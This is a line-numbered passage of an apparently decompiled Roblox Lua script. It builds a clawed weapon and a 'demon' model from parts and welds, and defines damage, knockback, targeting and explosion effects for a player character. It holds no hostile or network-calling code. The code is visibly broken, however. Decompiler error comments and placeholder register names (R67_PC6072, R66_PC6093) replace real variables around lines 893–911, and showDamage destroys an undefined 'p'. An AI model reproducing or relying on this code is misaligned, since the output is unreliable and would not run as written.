  844. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2.5, 0.300000012, 0.519999981))
  845. CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003))
  846. PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151972771, -1.64906967, 1.03426158, -1.19395554e-06, 1, 1.37090683e-06, 0.999459982, 1.24005601e-06, -0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982))
  847. CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003))
  848. PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0252062082, -1.54980803, -0.844281912, 1.19395554e-06, -1, -1.37090683e-06, 0.999459982, 1.24005601e-06, -0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982))
  849. MotorThumb = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 0, TorsoColor, "MotorThumb", Vector3.new(0.200000003, 0.200000003, 0.200000003))
  850. MotorThumbWeld = CreateWeld(m, Handle, MotorThumb, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.436262846, -0.542311668, -0.983556807, -0.068211019, -0.995336354, 0.0682120249, -0.707106829, -7.08211871e-07, -0.707106709, 0.703809023, -0.0964656472, -0.703809083))
  851. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  852. ClawWeld = CreateWeld(m, MotorThumb, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.607737899, 0.0110911727, 0.0515184402, 0.925057888, -4.47034836e-08, 0.379826128, -5.96046448e-08, 0.99999994, 2.68220901e-07, -0.379826188, -2.98023224e-07, 0.925057888))
  853. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2, 0.300000012, 0.370000005))
  854. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  855. ShardWeld = CreateWeld(m, MotorThumb, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.414689064, 0.0210665464, 0.175723732, 0.990283549, 1.41561031e-06, -0.13906303, -1.4193356e-06, 0.99999994, 1.49011612e-07, 0.13906303, 8.94069672e-08, 0.990283489))
  856. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
  857. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  858. ShardWeld = CreateWeld(m, MotorThumb, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.222025633, 0.0210601687, -0.0396541655, 0.908135235, 2.08616257e-06, -0.418677092, -1.47148967e-06, 1.00000012, 1.75833702e-06, 0.418677121, -9.23871994e-07, 0.908135176))
  859. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
  860. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003))
  861. PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0129690766, -0.393394113, 0.191975117, -7.11530447e-07, 1, 2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097559, 0.258097589, 2.08616257e-07, -0.966118932))
  862. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.200000003))
  863. PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0129775405, -0.706632137, 0.168079853, -7.11530447e-07, 1, 2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097559, -0.258097589, -2.08616257e-07, 0.966118932))
  864. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003))
  865. PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00299531221, -0.294105291, -0.00194394588, 7.11530447e-07, -1, -2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097559, -0.258097589, -2.08616257e-07, 0.966118932))
  866. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.03999996, 0.390000015))
  867. PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.012973249, -0.311598301, 0.0969114304, 7.11530447e-07, -1, -2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097559, 0.258097589, 2.08616257e-07, -0.966118932))
  868. MotorThumbTwo = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 0, TorsoColor, "MotorThumbTwo", Vector3.new(0.200000003, 0.200000003, 0.200000003))
  869. MotorThumbTwoWeld = CreateWeld(m, Handle, MotorThumbTwo, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.444597721, 0.423756033, -0.897562623, -0.0682120249, -0.995336354, -0.068211019, 0.707106709, -7.08211871e-07, -0.707106829, 0.703809083, -0.0964656621, 0.703809023))
  870. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  871. ClawWeld = CreateWeld(m, MotorThumbTwo, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.607738018, 0.0110911727, 0.0515185595, 0.925057888, -4.47034836e-08, 0.379826128, -5.96046448e-08, 0.99999994, 2.68220901e-07, -0.379826188, -2.98023224e-07, 0.925057888))
  872. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2, 0.300000012, 0.370000005))
  873. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  874. ShardWeld = CreateWeld(m, MotorThumbTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.414689064, 0.0210665464, 0.175723612, 0.990283549, 1.42306089e-06, -0.139062777, -1.4193356e-06, 0.99999994, 1.49011612e-07, 0.139062807, 1.1920929e-07, 0.990283608))
  875. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
  876. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  877. ShardWeld = CreateWeld(m, MotorThumbTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.222025394, 0.0210601091, -0.0396541059, 0.908135235, 2.08616257e-06, -0.418677092, -1.72480941e-06, 1, 1.16229057e-06, 0.418677121, -3.57627869e-07, 0.908135176))
  878. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
  879. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003))
  880. PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.012969017, -0.393394232, 0.191974878, -7.11530447e-07, 1, 2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097589, 0.258097559, 1.78813934e-07, -0.966118813))
  881. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.200000003))
  882. PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0129775107, -0.706632137, 0.168079972, -7.11530447e-07, 1, 2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097589, -0.258097559, -1.78813934e-07, 0.966118813))
  883. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003))
  884. PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00299596786, -0.29410553, -0.00194442272, 7.11530447e-07, -1, -2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097589, -0.258097559, -1.78813934e-07, 0.966118813))
  885. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.03999996, 0.390000015))
  886. PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.012973249, -0.311598063, 0.0969111919, 7.11530447e-07, -1, -2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097589, 0.258097559, 1.78813934e-07, -0.966118813))
  887. MagniHit = CreatePart(m, Enum.Material.Neon, 0, 1, "Really black", "MagniHit", Vector3.new(0.200000003, 0.200000003, 0.200000003))
  888. MagniHitWeld = CreateWeld(m, Character.HumanoidRootPart, MagniHit, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-4.01003361, -0.230025291, 0.070048213, 0, 0, -1, 0, 1, 0, 1, 0, 0))
  889. local CBlade = {}
  890. local CBladeWelds = {}
  891. for _,c in pairs(m:children()) do
  892.   if c.className == "Part" then
  893.     table.insert(CBlade, R67_PC6072)
  894.   end
  895. end
  896. for _,c in pairs(m:children()) do
  897.   if c.className == "Weld" then
  898.     table.insert(CBladeWelds, R67_PC6072)
  899.     print(R66_PC6093)
  900.   end
  901. end
  902. -- NIGH-OMNI FATAL ERROR at PC6105: Re-wrote register: R67 in 'AssignReg'
  903.  
  904. -- NIGH-OMNI FATAL ERROR at PC6106: Re-wrote register: R67 in 'AssignReg'
  905.  
  906. --Hit = CreatePart(demon, Enum.Material.Neon, 0, 0, "Really black", R66_PC6093, R67_PC6072(5, 0.200000003, 5))
  907. -- NIGH-OMNI FATAL ERROR at PC6120: Re-wrote register: R66 in 'AssignReg'
  908.  
  909. -- NIGH-OMNI FATAL ERROR at PC6134: Re-wrote register: R66 in 'AssignReg'
  910.  
  911. HitWeld = CreateWeld(demon, Character.HumanoidRootPart, Hit, CFrame.new(0, R66_PC6093, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(R66_PC6093, -3.50004387, 0.0299530029, 0, 1, 0, 0, 0, -1, -1, 0, 0))
  912. CreateMesh("SpecialMesh", Hit, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1033714", Vector3.new(0, 0, 0), Vector3.new(3, 4, 3))
  913. FakeMotor = CreatePart(demon, Enum.Material.Neon, 0, 1, "Really black", "FakeMotor", Vector3.new(2.01999998, 0.2016, 2.36000013))
  914. FakeMotorWeld = CreateWeld(demon, Hit, FakeMotor, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0199999809, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  915. Part = CreatePart(demon, Enum.Material.Neon, 0, 0, "Really black", "Part", Vector3.new(2.25000024, 0.200000003, 2.55000019))
  916. PartWeld = CreateWeld(demon, FakeMotor, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0, -5.06998634, 0, -1, 0, 0, 0, -1, 0, 0, 0, 1))
  917. CreateMesh("SpecialMesh", Part, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1033714", Vector3.new(0, 0, 0), Vector3.new(2.5, 10, 2.5))
  918. Part = CreatePart(demon, Enum.Material.Neon, 0, 0, "Really black", "Part", Vector3.new(2.25000024, 0.200000003, 2.55000019))
  919. PartWeld = CreateWeld(demon, FakeMotor, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0, -7.1599884, 0, -1, 0, 0, 0, -1, 0, 0, 0, 1))
  920. CreateMesh("SpecialMesh", Part, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1033714", Vector3.new(0, 0, 0), Vector3.new(1, 10, 1))
  921. TornadoHat = CreatePart(demon, Enum.Material.Neon, 0.20000000298023, 0.5, "Really black", "TornadoHat", Vector3.new(3, 0.400000006, 3))
  922. TornadoHatWeld = CreateWeld(demon, FakeMotor, TornadoHat, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00997924805, -1.65001106, -0.0699994564, 0, 0, -1, 0, -1, 0, -1, 0, 0))
  923. CreateMesh("SpecialMesh", TornadoHat, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1051557", Vector3.new(0, 0, 0), Vector3.new(5, 5, 5))
  924. local DBlade = {}
  925. local DBladeWelds = {}
  926. for _,c in pairs(demon:children()) do
  927.   if c.className == "Part" then
  928.     table.insert(DBlade, c)
  929.   end
  930. end
  931. for _,c in pairs(demon:children()) do
  932.   if c.className == "Weld" then
  933.     table.insert(DBladeWelds, c)
  934.     print(c)
  935.   end
  936. end
  937. demon.Parent = nil
  938.  
  939. paly = game.Players.LocalPlayer
  940. char = paly.Character
  941. torso = char.Torso
  942. neck = char.Torso.Neck
  943. hum = char.Humanoid
  944. Player = game:GetService("Players").LocalPlayer
  945. local mouse = Player:GetMouse()
  946. Character = Player.Character
  947. tors = Character.Torso
  948. lleg = Character["Left Leg"]
  949. root = Character.HumanoidRootPart
  950. hed = Character.Head
  951. rleg = Character["Right Leg"]
  952. rarm = Character["Right Arm"]
  953. larm = Character["Left Arm"]
  954. local Effects = {}
  955. attack = false
  956. vt = Vector3.new
  957. bc = BrickColor.new
  958. br = BrickColor.random
  959. it = Instance.new
  960. cf = CFrame.new
  961. euler = CFrame.fromEulerAnglesXYZ
  962. angles = CFrame.Angles
  963. matr = math.random
  964. local basiccooldown = math.huge
  965. local ultcooldown = math.huge
  966. local secondcooldown = math.huge
  967. local thirdcooldown = math.huge
  968.  
  969. local boll = Instance.new("Part",game.Lighting)
  970. boll.Transparency = 0.5
  971. boll.Material = "Neon"
  972. boll.BrickColor = tors.BrickColor
  973. boll.Anchored = true
  974. boll.Size = vt(1,1,1)
  975. boll.Shape = "Ball"
  976. boll.CanCollide = false
  977.  
  978. local shur = Instance.new("Part",game.Lighting)
  979. shur.Transparency = 0
  980. shur.Material = "Neon"
  981. shur.BrickColor = tors.BrickColor
  982. shur.Anchored = true
  983. shur.Size = vt(5,0.2,5)
  984. shur.CanCollide = false
  985. local Meshshur = Instance.new("CylinderMesh",shur)
  986.  
  987.  
  988. local boll = Instance.new("Part",game.Lighting)
  989. boll.Transparency = 0.5
  990. boll.Material = "Neon"
  991. boll.BrickColor = bc("Bright red")
  992. boll.Anchored = true
  993. boll.Size = vt(1,1,1)
  994. boll.Shape = "Ball"
  995. boll.CanCollide = false
  996.  
  997. local shur = Instance.new("Part",game.Lighting)
  998. shur.Transparency = 0
  999. shur.Material = "Neon"
  1000. shur.BrickColor = bc("Bright red")
  1001. shur.Anchored = true
  1002. shur.Size = vt(5,0.2,5)
  1003. shur.CanCollide = false
  1004. local Meshshur = Instance.new("CylinderMesh",shur)
  1005.  
  1006. Damagefunc=function(hit,minim,maxim,knockback,Type,Property,Delay,KnockbackType,decreaseblock)
  1007.         if hit.Parent==nil then
  1008.                 return
  1009.         end
  1010.         h=hit.Parent:FindFirstChild("Humanoid")
  1011.         for _,v in pairs(hit.Parent:children()) do
  1012.         if v:IsA("Humanoid") then
  1013.         h=v
  1014.         end
  1015.         end
  1016.         if hit.Parent.Parent:FindFirstChild("Torso")~=nil then
  1017.         h=hit.Parent.Parent:FindFirstChild("Humanoid")
  1018.         end
  1019.         if hit.Parent.className=="Hat" then
  1020.         hit=hit.Parent.Parent:findFirstChild("Head")
  1021.         end
  1022.         if h~=nil and hit.Parent.Name~=Character.Name and hit.Parent:FindFirstChild("Torso")~=nil then
  1023.         if hit.Parent:findFirstChild("DebounceHit")~=nil then if hit.Parent.DebounceHit.Value==true then return end end
  1024.         --[[                if game.Players:GetPlayerFromCharacter(hit.Parent)~=nil then
  1025.                         return
  1026.                 end]]
  1027. --                        hs(hit,1.2)
  1028.                         c=Instance.new("ObjectValue")
  1029.                         c.Name="creator"
  1030.                         c.Value=game:service("Players").LocalPlayer
  1031.                         c.Parent=h
  1032.                         game:GetService("Debris"):AddItem(c,.5)
  1033.                 Damage=math.random(minim,maxim)
  1034. --                h:TakeDamage(Damage)
  1035.                 blocked=false
  1036.                 block=hit.Parent:findFirstChild("Block")
  1037.                 if block~=nil then
  1038.                 print(block.className)
  1039.                 if block.className=="NumberValue" then
  1040.                 if block.Value>0 then
  1041.                 blocked=true
  1042.                 if decreaseblock==nil then
  1043.                 block.Value=block.Value-1
  1044.                 end
  1045.                 end
  1046.                 end
  1047.                 if block.className=="IntValue" then
  1048.                 if block.Value>0 then
  1049.                 blocked=true
  1050.                 if decreaseblock~=nil then
  1051.                 block.Value=block.Value-1
  1052.                 end
  1053.                 end
  1054.                 end
  1055.                 end
  1056.                 if blocked==false then
  1057. --                h:TakeDamage(Damage)
  1058.                 h.Health=h.Health-Damage
  1059.                 showDamage(hit.Parent,Damage,.5,TorsoColor)
  1060.                 else
  1061.                 h.Health=h.Health-(Damage/2)
  1062.                 showDamage(hit.Parent,Damage/2,.5,BrickColor.new("Bright blue"))
  1063.                 end
  1064.                 if Type=="Knockdown" then
  1065.                 hum=hit.Parent.Humanoid
  1066. hum.PlatformStand=true
  1067. coroutine.resume(coroutine.create(function(HHumanoid)
  1068. swait(1)
  1069. HHumanoid.PlatformStand=false
  1070. end),hum)
  1071.                 local angle=(hit.Position-(Property.Position+Vector3.new(0,0,0))).unit
  1072. --hit.CFrame=CFrame.new(hit.Position,Vector3.new(angle.x,hit.Position.y,angle.z))*CFrame.fromEulerAnglesXYZ(math.pi/4,0,0)
  1073. local bodvol=Instance.new("BodyVelocity")
  1074. bodvol.velocity=angle*knockback
  1075. bodvol.P=5000
  1076. bodvol.maxForce=Vector3.new(8e+003, 8e+003, 8e+003)
  1077. bodvol.Parent=hit
  1078. rl=Instance.new("BodyAngularVelocity")
  1079. rl.P=3000
  1080. rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000
  1081. rl.angularvelocity=Vector3.new(math.random(-10,10),math.random(-10,10),math.random(-10,10))
  1082. rl.Parent=hit
  1083. game:GetService("Debris"):AddItem(bodvol,.5)
  1084. game:GetService("Debris"):AddItem(rl,.5)
  1085.                 elseif Type=="Normal" then
  1086.                 vp=Instance.new("BodyVelocity")
  1087.                 vp.P=500
  1088.                 vp.maxForce=Vector3.new(math.huge,0,math.huge)
  1089. --                vp.velocity=Character.Torso.CFrame.lookVector*Knockback
  1090.                 if KnockbackType==1 then
  1091.                 vp.velocity=Property.CFrame.lookVector*knockback+Property.Velocity/1.05
  1092.                 elseif KnockbackType==2 then
  1093.                 vp.velocity=Property.CFrame.lookVector*knockback
  1094.                 end
  1095.                 if knockback>0 then
  1096.                         vp.Parent=hit.Parent.Torso
  1097.                 end
  1098.                 game:GetService("Debris"):AddItem(vp,.5)
  1099.                 elseif Type=="Up" then
  1100.                 local bodyVelocity=Instance.new("BodyVelocity")
  1101.                 bodyVelocity.velocity=vt(0,10,0)
  1102.                 bodyVelocity.P=1000
  1103.                 bodyVelocity.maxForce=Vector3.new(1e+009, 1e+009, 1e+009)
  1104.                 bodyVelocity.Parent=hit
  1105.                 game:GetService("Debris"):AddItem(bodyVelocity,1)
  1106.                 rl=Instance.new("BodyAngularVelocity")
  1107.                 rl.P=3000
  1108.                 rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000
  1109.                 rl.angularvelocity=Vector3.new(math.random(-20,20),math.random(-20,20),math.random(-20,20))
  1110.                 rl.Parent=hit
  1111.                 game:GetService("Debris"):AddItem(rl,.5)
  1112.                 elseif Type=="Snare" then
  1113.                 bp=Instance.new("BodyPosition")
  1114.                 bp.P=2000
  1115.                 bp.D=100
  1116.                 bp.maxForce=Vector3.new(math.huge,math.huge,math.huge)
  1117.                 bp.position=hit.Parent.Torso.Position
  1118.                 bp.Parent=hit.Parent.Torso
  1119.                 game:GetService("Debris"):AddItem(bp,1)
  1120.                 elseif Type=="Target" then
  1121.                 if Targetting==false then
  1122.                 ZTarget=hit.Parent.Torso
  1123.                 coroutine.resume(coroutine.create(function(Part)
  1124.                 swait(5)
  1125.                 end),ZTarget)
  1126.                 TargHum=ZTarget.Parent:findFirstChild("Humanoid")
  1127.                 targetgui=Instance.new("BillboardGui")
  1128.                 targetgui.Parent=ZTarget
  1129.                 targetgui.Size=UDim2.new(10,100,10,100)
  1130.                 targ=Instance.new("ImageLabel")
  1131.                 targ.Parent=targetgui
  1132.                 targ.BackgroundTransparency=1
  1133.                 targ.Image="rbxassetid://4834067"
  1134.                 targ.Size=UDim2.new(1,0,1,0)
  1135.                 cam.CameraType="Scriptable"
  1136.                 cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
  1137.                 dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z)
  1138.                 workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
  1139.                 Targetting=true
  1140.                 RocketTarget=ZTarget
  1141.                 for i=1,Property do
  1142.                 --while Targetting==true and Humanoid.Health>0 and Character.Parent~=nil do
  1143.                 if Humanoid.Health>0 and Character.Parent~=nil and TargHum.Health>0 and TargHum.Parent~=nil and Targetting==true then
  1144.                 swait()
  1145.                 end
  1146.                 --workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,Head.CFrame.p+rmdir*100)
  1147.                 cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
  1148.                 dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z)
  1149.                 cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)*cf(0,5,10)*euler(-0.3,0,0)
  1150.                 end
  1151.                 Targetting=false
  1152.                 RocketTarget=nil
  1153.                 targetgui.Parent=nil
  1154.                 cam.CameraType="Custom"
  1155.                 end
  1156.                 end
  1157.                         debounce=Instance.new("BoolValue")
  1158.                         debounce.Name="DebounceHit"
  1159.                         debounce.Parent=hit.Parent
  1160.                         debounce.Value=true
  1161.                         game:GetService("Debris"):AddItem(debounce,Delay)
  1162.                         c=Instance.new("ObjectValue")
  1163.                         c.Name="creator"
  1164.                         c.Value=Player
  1165.                         c.Parent=h
  1166.                         game:GetService("Debris"):AddItem(c,.5)
  1167.                 CRIT=false
  1168.                 hitDeb=true
  1169.                 AttackPos=6
  1170.         end
  1171. end
  1172.  
  1173. showDamage=function(Char,Dealt,du,Color)
  1174.         m=Instance.new("Model")
  1175.         m.Name=tostring(Dealt)
  1176.         h=Instance.new("Humanoid")
  1177.         h.Health=0
  1178.         h.MaxHealth=0
  1179.         h.Parent=m
  1180.         c=Instance.new("Part")
  1181.         c.Transparency=0
  1182.         c.Material = "Neon"
  1183.         c.BrickColor=bc("New Yeller")
  1184.         c.Name="Head"
  1185.         c.TopSurface=0
  1186.         c.BottomSurface=0
  1187.   local tick = Instance.new("Sound",c)
  1188.   tick.SoundId = "rbxassetid://12221976"
  1189.   tick.Volume = 5
  1190.   tick.Pitch = 4
  1191.   tick:Play()
  1192.         c.formFactor="Plate"
  1193.         c.Size=Vector3.new(1,.4,1)
  1194.         ms=Instance.new("CylinderMesh")
  1195.         ms.Scale=Vector3.new(.8,.8,.8)
  1196.         if CRIT==true then
  1197.                 ms.Scale=Vector3.new(1,1.25,1)
  1198.         end
  1199.         ms.Parent=c
  1200.         c.Reflectance=0
  1201.         Instance.new("BodyGyro").Parent=c
  1202.         c.Parent=m
  1203.         if Char:findFirstChild("Head")~=nil then
  1204.         c.CFrame=CFrame.new(Char["Head"].CFrame.p+Vector3.new(0,1.5,0))
  1205.         elseif Char.Parent:findFirstChild("Head")~=nil then
  1206.         c.CFrame=CFrame.new(Char.Parent["Head"].CFrame.p+Vector3.new(0,1.5,0))
  1207.         end
  1208.         f=Instance.new("BodyPosition")
  1209.         f.P=2000
  1210.         f.D=100
  1211.         f.maxForce=Vector3.new(math.huge,math.huge,math.huge)
  1212.         f.position=c.Position+Vector3.new(0,3,0)
  1213.         f.Parent=c
  1214.         game:GetService("Debris"):AddItem(m,.5+du)
  1215.         c.CanCollide=false
  1216.         m.Parent=workspace
  1217.         c.CanCollide=false
  1218. p:Destroy()
  1219. end
  1220.  
  1221. function MagniDamage(Hit, Part, magni, mindam, maxdam, knock, Type)
  1222.     for _, c in pairs(workspace:children()) do
  1223.         local hum = c:findFirstChild("Humanoid")
  1224.         if hum ~= nil then
  1225.             local head = c:findFirstChild("Torso")
  1226.             if head ~= nil then
  1227.                 local targ = head.Position - Part.Position
  1228.                 local mag = targ.magnitude
  1229.                 if mag <= magni and c.Name ~= Player.Name then
  1230.                     Damagefunc(Hit, head, mindam, maxdam, knock, Type, RootPart, .2, 1, 3)
  1231.                 end
  1232.             end
  1233.         end
  1234.     end
  1235. end
  1236.  
  1237. function Explode(rad,par)
  1238.     local expart = Instance.new("Part",script.Parent)
  1239.     local expart2 = Instance.new("Part",script.Parent)
  1240.     local partMesh = Instance.new("SpecialMesh",expart)
  1241.     partMesh.MeshType = "Sphere"
  1242.     local partMesh2 = Instance.new("SpecialMesh",expart2)
  1243.     partMesh2.MeshType = "Sphere"
  1244.     local expld = Instance.new("Explosion", script.Parent)
  1245. local plode = Instance.new("Sound",expart)
  1246.   plode.SoundId = "rbxassetid://165970126"
  1247.   plode.Volume = 1
  1248.   plode.Pitch = 1
  1249.   plode.Looped = false
  1250.   plode:Play()
  1251.     expld.BlastRadius = rad
  1252.     expld.Position = par.Position
  1253.     partMesh.Scale = vt(rad,rad,rad)
  1254.     expart.Size = vt(1,1,1)*1.5
  1255.     expart.Transparency = 0
  1256.     expart.Anchored = true
  1257.     expart.Material = "Neon"
  1258.     expart.BrickColor = bc("White")
  1259.     expart.CFrame = par.CFrame
  1260.     partMesh2.Scale = vt(rad,rad,rad)
  1261.     expart2.Size = vt(1.15,1.15,1.15)*1.5
  1262.     expart2.Transparency = 0.5
  1263.     expart2.Anchored = true
  1264.     expart2.Material = "Neon"
  1265.     expart2.BrickColor = bc("New Yeller")
  1266.     expart2.CFrame = par.CFrame
  1267.         local value = 1*rad/6.5
  1268.         par:Destroy()
  1269.     for i = 0, 100 do
  1270.                 partMesh.Scale = partMesh.Scale + vt(value,value,value)
  1271.         expart.CFrame = expart.CFrame
  1272.                 partMesh2.Scale = partMesh2.Scale + vt(value,value,value)
  1273.         expart2.CFrame = expart.CFrame
  1274.                 value = value - 0.035*rad/6.5
  1275.                 if value < 1 then
  1276.                 value = 0.25
  1277.         expart.Transparency = expart.Transparency + 0.025
  1278.         expart2.Transparency = expart2.Transparency + 0.025
  1279.                 end
  1280.         wait()
  1281.     end
  1282.   plode.Parent = nil
  1283.     expart.Parent = nil
  1284.     expart2.Parent = nil
  1285.     expld.Parent = nil
  1286. end
  1287.  
  1288. function ExplodeMass(rad,par)
  1289.     local expart = Instance.new("Part",script.Parent)
  1290.     local expart2 = Instance.new("Part",script.Parent)
  1291.     local partMesh = Instance.new("SpecialMesh",expart)
  1292.     partMesh.MeshType = "Sphere"
  1293.     local partMesh2 = Instance.new("SpecialMesh",expart2)
  1294.     partMesh2.MeshType = "Sphere"
  1295.     local expld = Instance.new("Explosion", script.Parent)
  1296. local plode = Instance.new("Sound",workspace)
  1297.   plode.SoundId = "rbxassetid://579687077"
  1298.   plode.Volume = 1
  1299.   plode.Pitch = 0.85
  1300.   plode.Looped = false
  1301.   plode:Play()
  1302. local plodez = Instance.new("Sound",workspace)
  1303.   plodez.SoundId = "rbxassetid://288641686"
  1304.   plodez.Volume = 1
  1305.   plodez.Pitch = 0.75
  1306.   plodez.Looped = false
  1307.   plodez:Play()
  1308. local plodeza = Instance.new("Sound",workspace)
  1309.   plodeza.SoundId = "rbxassetid://197161452"
  1310.   plodeza.Volume = 0.85
  1311.   plodeza.Pitch = 0.65
  1312.   plodeza.Looped = false
